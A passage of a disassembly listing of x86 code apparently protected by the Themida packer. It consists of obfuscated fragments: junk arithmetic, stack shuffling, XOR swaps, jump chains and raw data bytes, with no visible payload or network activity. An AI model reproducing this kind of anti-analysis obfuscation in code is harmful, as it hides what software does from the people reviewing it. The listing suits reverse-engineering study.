		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58B27B:				; CODE XREF: Themida_:00591CD6j
		neg	ebx
		or	ebx, 4C66237h
		and	ebx, 19001798h
		xor	ebx, 100121Ah
		sub	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0F020E95Ch, 8F66FFFFh, 0F018E902h, 8F5FFFFFh, 248B2404h
		dd 243CD324h, 0F008E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B2C6:				; CODE XREF: Themida_:00594616j
		pop	eax
		xchg	esi, [esp]
		jmp	loc_596737
; ---------------------------------------------------------------------------


loc_58B2CF:				; CODE XREF: Themida_:00596C82j
		add	[esp+8], ebx
		pop	ebx
		sub	dword ptr [esp+4], 325B6517h
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 325B6517h
		sub	dword ptr [esp+4], 675C3153h
		jmp	loc_58A9A0
; ---------------------------------------------------------------------------
		db 66h,	58h, 0E9h
		dd 0FFFFF84Ah
; ---------------------------------------------------------------------------


loc_58B2FC:				; CODE XREF: Themida_:0058DEFCj
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		not	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_58F693
; ---------------------------------------------------------------------------


loc_58B321:				; CODE XREF: Themida_:0058D49Aj
					; Themida_:0058EA32j ...
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 6701359Ch
		inc	edi
		shl	edi, 1
		xor	edi, 6DB763B2h
		push	edx
		mov	edx, 7BF93838h
		xor	edx, 59A96F21h
		shl	edx, 7
		sub	edx, 847683F4h
		xor	edi, edx
		pop	edx
		add	edx, 616A2719h
		jmp	loc_594675
; ---------------------------------------------------------------------------


loc_58B365:				; CODE XREF: Themida_:0058BBA2j
		inc	ebp
		not	ebp
		inc	ebp
		jg	loc_595411
		inc	ebp
		jo	loc_592150
		jmp	loc_597974
; ---------------------------------------------------------------------------


loc_58B37B:				; CODE XREF: Themida_:0058DA44j
		and	bh, 8
		jmp	loc_596A1D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 4C6815Eh, 0E9000000h,	0A783h
; ---------------------------------------------------------------------------


loc_58B398:				; CODE XREF: Themida_:005974BBj
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_59047B
; ---------------------------------------------------------------------------


loc_58B3A4:				; CODE XREF: Themida_:0058C9A1j
		mov	ax, [esp]
		push	ebp
		push	3700h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59346E
; ---------------------------------------------------------------------------


loc_58B3BD:				; CODE XREF: Themida_:0058E865j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_58CD63
; ---------------------------------------------------------------------------


loc_58B3CA:				; CODE XREF: Themida_:0058AD64j
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 21421DB6h
		inc	eax
		jns	loc_58D739
		xor	eax, 21421DB3h
		add	[esp+4], eax
		pop	edi
		sub	eax, ebx
		jmp	loc_596325
; ---------------------------------------------------------------------------


loc_58B3F0:				; CODE XREF: Themida_:005972F3j
		jmp	loc_590363
; ---------------------------------------------------------------------------


loc_58B3F5:				; CODE XREF: Themida_:loc_597CC8j
		jmp	loc_58FE39
; ---------------------------------------------------------------------------


loc_58B3FA:				; CODE XREF: Themida_:00597986j
		xchg	esi, ebp
		inc	esi
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		push	ebx
		mov	ebx, 0A49ACF6Dh
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_58E06E
; ---------------------------------------------------------------------------


loc_58B41B:				; CODE XREF: Themida_:0058AD80j
		add	esi, 0AFFB5910h
		jmp	loc_58F65B
; ---------------------------------------------------------------------------


loc_58B426:				; CODE XREF: Themida_:0058EAE7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		idiv	cx
		jmp	loc_5916A2
; ---------------------------------------------------------------------------


loc_58B44B:				; CODE XREF: Themida_:0058CA73j
		mov	[esp], eax
		push	edx
		mov	edx, 522D2B67h
		push	ebp
		mov	ebp, 502B22A5h
		sub	ebp, 131A2D21h
		xor	ebp, 55B6382h
		add	ebp, 4DDCAD47h
		sub	edx, 7C1C1E4Ch
		sub	edx, 1DD55839h
		sub	edx, ebp
		add	edx, 1DD55839h
		add	edx, 7C1C1E4Ch
		pop	ebp
		mov	eax, edx
		pop	edx
		xor	edi, eax
		pop	eax
		jmp	loc_5902C7
; ---------------------------------------------------------------------------
aRwsrl		db 'RWιr‹',0
		db 0
; ---------------------------------------------------------------------------


loc_58B499:				; CODE XREF: Themida_:005977EDj
		mov	dl, 30h
		add	dl, 1
		add	dl, 0FFh
		push	cx
		mov	ch, 0F8h
		sub	dl, ch
		mov	cx, [esp]
		add	esp, 2
		sub	al, 0EAh
		add	al, dl
		push	ebx
		jmp	loc_58C5FB
; ---------------------------------------------------------------------------


loc_58B4BB:				; CODE XREF: Themida_:0058D772j
		push	ecx
		mov	ch, 0D3h
		xor	al, ch
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5919CC
; ---------------------------------------------------------------------------


loc_58B4CE:				; CODE XREF: Themida_:00595698j
		pop	ebx
		sub	edi, esi
		jmp	loc_58F9E1
; ---------------------------------------------------------------------------


loc_58B4D6:				; CODE XREF: Themida_:0058CD2Aj
		push	ebp
		mov	ebp, 14ED13B8h
		inc	ebp
		jmp	loc_59618F
; ---------------------------------------------------------------------------
aRsA		db 'Rι΅€',0
		align 4


loc_58B4E8:				; CODE XREF: Themida_:00596F43j
		sub	edi, 6A6A1FC9h
		jmp	loc_592033
; ---------------------------------------------------------------------------
		db 89h
		dd 19E92424h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B4FB:				; CODE XREF: Themida_:005902C2j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_590B96
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C7h
		dd 97A6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B512:				; CODE XREF: Themida_:00595B8Dj
		sub	eax, 4F01671Bh
		pop	edx
		mov	edi, eax
		jmp	loc_591B9A
; ---------------------------------------------------------------------------


loc_58B51F:				; CODE XREF: Themida_:0059480Dj
		mov	eax, 39A21CB1h
		jmp	loc_59165A
; ---------------------------------------------------------------------------
		db 5Bh,	0F7h, 0D9h
		dd 3C5AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58B531:				; CODE XREF: Themida_:00591FF0j
		push	788Eh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_592FB9
; ---------------------------------------------------------------------------


loc_58B549:				; CODE XREF: Themida_:0058D899j
		inc	ebx
		not	ebx
		xor	ebx, 72707595h
		not	ebx
		shl	ebx, 1
		sub	ebx, 0BF369E06h
		and	edx, ebx
		pop	ebx
		not	edx
		jmp	loc_591B3D
; ---------------------------------------------------------------------------
		dw 885Ah
		dd 805B66FCh, 69E9F7ECh, 810000B1h, 1111A4C7h, 5FFB89EFh
		dd 51E9DF09h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B583:				; CODE XREF: Themida_:00590DBAj
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_58D434
; ---------------------------------------------------------------------------
		dd 697268h, 8808E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B596:				; CODE XREF: Themida_:00591E8Cj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_59183E
; ---------------------------------------------------------------------------
		db 89h
		dd 5EF089DEh, 0B83CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B5BA:				; CODE XREF: Themida_:0058CEACj
		shl	esi, 5
		jmp	loc_58B190
; ---------------------------------------------------------------------------


loc_58B5C2:				; CODE XREF: Themida_:005919F2j
		mov	edx, edi
		pop	edi
		push	esi
		mov	esi, 329722B5h
		shl	esi, 2
		add	esi, 68F3771Fh
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	ebp
		push	esi
		mov	esi, 5C733014h
		add	esi, 45003A12h
		js	loc_58CBD1
		add	esi, 0C9A36DB7h
		jmp	loc_58D36C
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------


loc_58B5F8:				; CODE XREF: Themida_:00592E02j
		not	edi
		sub	edi, 37CF693Bh
		jmp	loc_59470C
; ---------------------------------------------------------------------------


loc_58B605:				; CODE XREF: Themida_:00594DA4j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5911B2
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24043024h, 0A74CE99Ch, 0EC830000h, 24148904h, 0E955E289h
		dd 50A8h
; ---------------------------------------------------------------------------


loc_58B62C:				; CODE XREF: Themida_:005936E6j
		push	ecx
		jmp	loc_593A52
; ---------------------------------------------------------------------------


loc_58B632:				; CODE XREF: Themida_:00594399j
		pop	ebx
		sub	al, dh
		push	bx
		jmp	loc_58CC90
; ---------------------------------------------------------------------------
aS_4		db '[ιΧ$',0
		align 2
		dw 0B951h
		dd 4, 361ED81h,	0CD010DF2h, 361C581h, 68590DF2h, 0F8Fh
		dd 1D97E9h, 0A3685300h,	89000000h, 5EE9240Ch, 88000077h
		dd 0FEF0E9F7h, 0E9C1FFFFh, 87BE5608h, 0E90057BBh, 6761h
		dd 38F2815Bh, 0E9562A25h, 5C24h
; ---------------------------------------------------------------------------


loc_58B690:				; CODE XREF: Themida_:0058F5BBj
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_59080D
; ---------------------------------------------------------------------------


loc_58B69B:				; CODE XREF: Themida_:0058F4EFj
		xchg	edx, ecx
		push	esi
		mov	esi, 8DCE6953h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5965CD
; ---------------------------------------------------------------------------


loc_58B6B0:				; CODE XREF: Themida_:005949FFj
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_597076
; ---------------------------------------------------------------------------


loc_58B6C0:				; CODE XREF: Themida_:0058DF56j
		pop	esi
		xor	ebx, 3365F014h
		jmp	loc_58B1B8
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0BE904C4h, 1000076h, 24348BF1h, 42DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58B6E1:				; CODE XREF: Themida_:0058E700j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_595B44
; ---------------------------------------------------------------------------


loc_58B6EF:				; CODE XREF: Themida_:0058E244j
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58EB02
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3C8BFA89h, 4C48124h,	5000000h, 7AF3E5Fh, 8F58B32Dh
		dd 5D02918h, 188F58B3h,	0AF3E5F2Dh, 2434FF07h, 4C4815Ah
		dd 0E9000000h, 2589h
; ---------------------------------------------------------------------------


loc_58B72C:				; CODE XREF: Themida_:0058A83Aj
		ja	loc_58DA9F
		inc	dl
		jmp	loc_5947DC
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 7
		dd 0E906E4C0h, 3BD0h, 468h, 0D8015B00h,	42D5Bh,	4330000h
		dd 4898E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B75A:				; CODE XREF: Themida_:0058E782j
		mov	[esp], dx
		push	ecx
		push	ebx
		jmp	loc_5961A0
; ---------------------------------------------------------------------------


loc_58B765:				; CODE XREF: Themida_:005957F8j
		xor	eax, 335D4884h
		jno	loc_593E59
		sub	eax, 36DA3842h
		push	edx
		mov	edx, eax
		mov	ecx, edx
		jmp	loc_59489A
; ---------------------------------------------------------------------------


loc_58B77F:				; CODE XREF: Themida_:00597BFFj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 4
		add	edx, 56F019D2h
		add	edx, esi
		sub	edx, 56F019D2h
		jmp	loc_593EAE
; ---------------------------------------------------------------------------
		dd 525EF301h, 1E4B6857h, 815F24A2h, 0BE25EDE7h,	81DFF736h
		dd 0F9756EFh, 0AA1AE9ABh, 0C2810000h, 4, 0FFF389E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B7C9:				; CODE XREF: Themida_:0058EB37j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58F64B
; ---------------------------------------------------------------------------
		dd 8324148Bh, 57E904C4h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58B7E3:				; CODE XREF: Themida_:00595ED3j
		add	esi, 88DA8991h
		add	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58B7F4:				; CODE XREF: Themida_:005942DEj
		push	edx
		pop	ecx
		pop	edx
		push	edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_590699
; ---------------------------------------------------------------------------


loc_58B804:				; CODE XREF: Themida_:005906FCj
		div	cx
		push	ebp
		jmp	loc_596013
; ---------------------------------------------------------------------------
		db 31h,	6Ch, 24h
		dd 815B5D04h, 4A3494F3h, 815F5D38h, 0C804246Ch,	296DEE53h
		dd 0E904245Ch, 1FB5h, 44CFC681h, 0E9593879h, 0FFFFEA9Ch
		dd 64563068h, 0F8315F7Fh, 3234E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B845:				; CODE XREF: Themida_:0058BA47j
					; Themida_:00590B8Ej
		shr	edx, 2
		add	edx, 5795110Ah
		push	ebx
		jmp	loc_596BE6
; ---------------------------------------------------------------------------
		dd 0AA1E47BEh, 0B3E6813Ah, 0F621A19h, 8B758Ch, 0FEE8100h
		dd 57718E0Ah, 0F21419BFh, 0E9FE0971h, 0B949h
; ---------------------------------------------------------------------------


loc_58B878:				; CODE XREF: Themida_:0058E5F5j
		pop	esi
		jmp	loc_5909A6
; ---------------------------------------------------------------------------


loc_58B87E:				; CODE XREF: Themida_:00593078j
		add	edi, 6BB62C5Eh
		pop	ebp
		push	esi
		mov	esi, 5B000363h
		add	ebx, esi
		pop	esi
		add	ebx, edi
		sub	ebx, 5B000363h
		pop	edi
		jmp	loc_593B1A
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0EC8104C4h, 4, 0B5240C89h, 0FE6E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B8B2:				; CODE XREF: Themida_:0058EAE0j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0D816D25h
		sub	esi, eax
		pop	eax
		and	esi, 29BD449Ch
		sub	esi, 7E040Ch
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_593E9B
; ---------------------------------------------------------------------------
		dd 68243489h, 35384EDDh, 0D9F6815Eh, 0E935384Eh, 0ADACh
		dd 0E9242C8Bh, 0FFFFE9E4h, 0E904C483h, 89A6h, 74A2EA81h
		dd 0DCE94FDFh, 0FF000033h, 34FF2434h, 89535824h, 0AABE56E3h
		dd 462E6832h, 6563E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B92E:				; CODE XREF: Themida_:005969E5j
		pop	esi
		add	esi, 7ABD6E58h
		jmp	loc_597CC8
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 3FBB5308h, 814E3542h, 0FE31B2CBh, 61C3813Eh,	8178AF09h
		dd 5E0320CBh, 0DAEB8144h, 5718FC27h, 801233BFh,	0DCEB815Dh
		dd 140C577h, 0DCC381FBh, 5F40C577h, 1416E9h, 24148B00h
		dd 0A59E9h, 0CBE9AD00h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B983:				; CODE XREF: Themida_:0058A9A3j
		add	esp, 4
		pop	edx
		add	edx, 55BB4B17h
		jmp	loc_59716C
; ---------------------------------------------------------------------------
		dw 37E9h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B997:				; CODE XREF: Themida_:0058BD6Fj
		push	ecx
		mov	ecx, 79FB666Ah
		or	ecx, 4A19697Dh
		jmp	loc_592FF7
; ---------------------------------------------------------------------------


loc_58B9A8:				; CODE XREF: Themida_:loc_594C51j
		xor	eax, 79FA75FFh
		jmp	loc_58C6A6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 85B9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B9BA:				; CODE XREF: Themida_:0058A72Fj
		shl	ebp, 5
		jmp	loc_590327
; ---------------------------------------------------------------------------
aSH		db ')Ωι%h',0
		db 0
; ---------------------------------------------------------------------------


loc_58B9C9:				; CODE XREF: Themida_:00594677j
		push	eax
		mov	eax, 69746F2Bh
		sub	eax, 36507E6Ch
		not	eax
		xor	eax, 5CCE5CDCh
		xor	eax, 0F1787485h
		sub	edx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		push	6BF0h
		jmp	loc_590F4F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0F0h
		dd 8173402Eh, 0E349C4C7h, 81D7015Ch, 0E349C4EFh, 4119E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BA12:				; CODE XREF: Themida_:00590D80j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5940B8
; ---------------------------------------------------------------------------


loc_58BA29:				; CODE XREF: Themida_:0058E2D5j
		mov	ebp, 69462A22h
		jmp	loc_5940E2
; ---------------------------------------------------------------------------


loc_58BA33:				; CODE XREF: Themida_:0058FE27j
		mov	ebp, 46DA433Fh
		sub	ebp, 53011B95h
		push	edx
		mov	edx, 85A21E4h
		shl	edx, 4
		jmp	loc_58B845
; ---------------------------------------------------------------------------
		dd 240C8B54h, 0E904C483h, 106Ah, 33243431h, 248B2434h
		dd 4896624h, 0E864E924h, 0EC83FFFFh, 241C8904h,	4EC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BA75:				; CODE XREF: Themida_:00592840j
		push	esi
		mov	esi, 4
		jmp	loc_59393E
; ---------------------------------------------------------------------------


loc_58BA80:				; CODE XREF: Themida_:0058DCA3j
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_58FD95
; ---------------------------------------------------------------------------


loc_58BA94:				; CODE XREF: Themida_:0058D30Fj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, esi
		jmp	loc_5975EA
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041958h, 0E81CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BAB2:				; CODE XREF: Themida_:00593FBDj
		push	1B21276Eh
		pop	eax
		and	eax, 43CF42FEh
		shl	eax, 7
		add	eax, 91DB06B6h
		jmp	loc_596713
; ---------------------------------------------------------------------------


loc_58BACA:				; CODE XREF: Themida_:0058CE7Aj
		pop	esp
		or	ebp, 0F645139h
		add	ebp, 0E0108811h
		mov	edx, ebp
		pop	ebp
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_597A0A
		push	7241h
		mov	[esp], eax
		jmp	loc_58ADF2
; ---------------------------------------------------------------------------


loc_58BAFA:				; CODE XREF: Themida_:0058F772j
					; Themida_:00595CDEj
		sub	al, 29h
		mov	ch, al
		pop	eax
		add	bl, ch
		jmp	loc_5949A7
; ---------------------------------------------------------------------------


loc_58BB06:				; CODE XREF: Themida_:0059072Cj
		neg	esi
		sub	esi, 80976724h
		sub	ebx, esi
		pop	esi
		pop	edi
		add	ebx, 7F907FDDh
		jmp	loc_595A8E
; ---------------------------------------------------------------------------
aScb		db '[ι—B',0
		db 0
; ---------------------------------------------------------------------------


loc_58BB23:				; CODE XREF: Themida_:loc_5947DCj
		or	dl, 81h
		jnp	loc_590C09
		push	ebx
		mov	bl, 1Ch
		jmp	loc_58BB94
; ---------------------------------------------------------------------------
		dd 0CEF894Ah
		db 0F5h
; ---------------------------------------------------------------------------


loc_58BB39:				; CODE XREF: Themida_:0058C765j
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58DEED
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0FFEE55F5h, 0FFE89FE9h, 0B7E95EFFh, 0C1FFFFEEh, 0D3F707E3h
		dd 548E381h, 2EE952AAh,	2D0000BAh, 7C7A5F4Fh, 0C83D3D2Dh
		dd 1F17E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BB82:				; CODE XREF: Themida_:00590810j
		sub	dword ptr [esp], 252E2528h
		pop	edi
		push	2B80h
		jmp	loc_593EB6
; ---------------------------------------------------------------------------


loc_58BB94:				; CODE XREF: Themida_:0058BB2Fj
					; Themida_:0058FC2Dj
		xor	[esp], edi
		jmp	loc_59129D
; ---------------------------------------------------------------------------


loc_58BB9C:				; CODE XREF: Themida_:0059729Fj
		or	ebp, 3C35629Eh
		jnb	loc_58B365
		inc	ebp
		not	ebp
		inc	ebp
		jg	loc_58C397
		pop	cx
		add	al, 0C1h
		add	al, bl
		push	ecx
		mov	ch, 0C1h
		sub	al, ch
		jmp	loc_595F30
; ---------------------------------------------------------------------------
		dw 34FFh
aSE		db '$ιΨ…',0
		align 2
		dw 0EC81h
		dd 4, 0B8240489h, 21801B4Bh, 2FE9C231h,	30000067h, 290458C7h
		dd 292CF800h, 0EC835B66h, 241C8904h, 0E3C0B0B3h, 6B22E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BBFA:				; CODE XREF: Themida_:00592165j
		or	edx, eax
		shl	edx, 1
		push	65C0h
		mov	[esp], ebp
		push	eax
		push	3286058Ah
		mov	eax, [esp]
		add	esp, 4
		shl	eax, 8
		jz	loc_594C51
		jmp	loc_58D051
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6F25374Eh, 0FFE9FE29h, 680000B1h, 6F81h, 81242489h
		dd 42404h, 1C8B0000h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 4C3815Ch, 81000000h,	4C3h, 74FF5300h, 0ADE90424h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BC67:				; CODE XREF: Themida_:00591CE9j
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	186Bh
		jmp	loc_597E38
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2434h, 5E545624h, 104CE9h, 2434FF00h, 0F984E95Fh
		dd 0C3E9FFFFh, 5900007Dh, 8D68E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BCA5:				; CODE XREF: Themida_:005927D5j
		sub	bl, cl
		jmp	loc_58A76D
; ---------------------------------------------------------------------------
		dd 96181DB9h, 2E9C167h,	9778F181h, 0CA093072h, 0AB8EE959h
		dd 0F660000h, 9C2404ABh, 0FFE601E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BCCD:				; CODE XREF: Themida_:00593F52j
		push	931h
		mov	[esp], edx
		mov	dh, 0
		inc	dh
		add	dh, 0B0h
		sub	dh, 4Bh
		sub	cl, dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		sub	bl, 5Dh
		sub	bl, cl
		add	bl, 5Dh
		pop	ecx
		jmp	loc_59664B
; ---------------------------------------------------------------------------
aS_5		db '\ιΛ΄',0
		dw 5E00h
a31SC		db '3,$1,$ιΈc',0
		db 0
; ---------------------------------------------------------------------------


loc_58BD0B:				; CODE XREF: Themida_:0058E88Ej
		xor	ebx, 2CB30EB1h
		sub	edi, 7E1D0FDEh
		sub	edi, ebx
		jmp	loc_59082B
; ---------------------------------------------------------------------------


loc_58BD1E:				; CODE XREF: Themida_:0058FCADj
		not	edi
		sub	edi, 37CF693Bh
		jmp	loc_593026
; ---------------------------------------------------------------------------


loc_58BD2B:				; CODE XREF: Themida_:00595606j
		pop	ecx
		push	eax
		mov	ah, 0F7h
		not	ah
		inc	ah
		sub	ah, 9Fh
		jmp	loc_58C9D9
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 0D32E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BD46:				; CODE XREF: Themida_:loc_5904A9j
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 8ED08B5h
		sub	edi, esi
		jmp	loc_59747D
; ---------------------------------------------------------------------------


loc_58BD59:				; CODE XREF: Themida_:0058E3E0j
		push	5FA8h
		mov	[esp], ebx
		mov	ebx, 2F620ED3h
		mov	esi, ebx
		pop	ebx
		shr	esi, 3
		shl	esi, 3
		jns	loc_58B997
		push	ecx
		mov	ecx, 79FB666Ah
		or	ecx, 4A19697Dh
		mov	esi, edx
		push	eax


loc_58BD84:				; CODE XREF: Themida_:00597ED7j
		shr	dh, 1
		add	dh, 5Ah
		dec	dh
		or	dh, 54h
		push	ecx
		jmp	loc_58CE0B
; ---------------------------------------------------------------------------


loc_58BD94:				; CODE XREF: Themida_:0058DB67j
		add	ch, 0BBh
		jmp	loc_58F892
; ---------------------------------------------------------------------------
		dd 1461685Dh, 3C890000h, 5CBE5624h, 0F754EE57h,	0A3880FDEh
		dd 81000055h, 11A8A2EEh, 0DA8956ABh
		db 5Eh
; ---------------------------------------------------------------------------


loc_58BDBD:				; CODE XREF: Themida_:00596AADj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 544271A1h
		neg	edi
		jmp	loc_59481B
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 1F141C6Ah, 0DA1E581h, 0ED815EEAh, 9EDFE5F4h,	0B5E9E829h
		dd 8B000005h, 0C4812414h, 4, 4C281h, 33680000h,	89000006h
		dd 2BF243Ch, 1000000h, 9059E9FAh, 0C890000h, 17B45024h
		dd 808DE480h, 0B6529AECh, 5AF4288Fh, 0D058E188h, 4D90E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BE32:				; CODE XREF: Themida_:0058DD53j
		sub	bl, 8
		mov	ch, bl
		jmp	loc_592D63
; ---------------------------------------------------------------------------


loc_58BE3C:				; CODE XREF: Themida_:0058FB42j
		mov	ecx, 28h
		push	32A9h
		mov	[esp], ebx
		mov	ebx, 1A3025A4h
		add	ecx, 4E817D08h
		jmp	loc_5931E2
; ---------------------------------------------------------------------------


loc_58BE59:				; CODE XREF: Themida_:00590E5Fj
		mov	ecx, 5371559Fh
		and	ecx, 26360458h
		add	ecx, 1F412102h
		push	ecx
		not	dword ptr [esp]
		jmp	loc_590305
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 242C8900h, 5404EC83h, 8124048Fh, 42404h
		dd 49E90000h, 8300003Ch, 3C8704EFh, 3C895C24h, 4BF24h
		dd 0FD010000h, 21EE9h, 4C48300h, 4BA52h, 0D3290000h, 241C335Ah
		dd 0E9241C31h, 0AE5Ch
; ---------------------------------------------------------------------------


loc_58BEC0:				; CODE XREF: Themida_:0058C7BBj
		sub	ebx, edx
		pop	edx
		add	ebx, 0A877BA99h
		and	ebp, ebx
		pop	ebx
		xor	ebp, 721778FCh
		push	eax
		mov	eax, 1B4C5146h
		jmp	loc_590D3F
; ---------------------------------------------------------------------------


loc_58BEDD:				; CODE XREF: Themida_:0058D121j
		push	edi
		mov	edi, 12911C2Fh
		mov	esi, 12911C2Bh
		jmp	loc_58FC07
; ---------------------------------------------------------------------------


loc_58BEED:				; CODE XREF: Themida_:00590F56j
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_59757F
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 1DB15A02h, 76DCE781h, 2CE97A53h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BF07:				; CODE XREF: Themida_:005920DBj
		push	71D06E3Eh
		pop	ecx
		xor	ecx, 5DE00431h
		jmp	loc_59699A
; ---------------------------------------------------------------------------
aYsjj		db 'Y醦',0
		align 2
		dw 0EC81h
		dd 4, 0E9243489h, 0FFFFFC27h
; ---------------------------------------------------------------------------


loc_58BF2C:				; CODE XREF: Themida_:0058E7C7j
		and	eax, 48A377BCh
		inc	eax
		sub	eax, 0E407E291h
		add	ecx, eax
		pop	eax
		jmp	loc_597CBB
; ---------------------------------------------------------------------------


loc_58BF3F:				; CODE XREF: Themida_:0058DAC3j
		pop	esi
		xchg	esi, ebp
		xchg	ebp, esi
		push	eax
		push	edi
		mov	edi, 0DCADD322h
		mov	eax, edi
		pop	edi
		jmp	loc_595AD4
; ---------------------------------------------------------------------------
aPse		db 'Pι₯ΐ',0
		db 0
; ---------------------------------------------------------------------------


loc_58BF59:				; CODE XREF: Themida_:00597096j
		or	esi, ecx
		pop	ecx
		xor	esi, 2ACD3BEDh
		jmp	loc_59248C
; ---------------------------------------------------------------------------
		db 81h
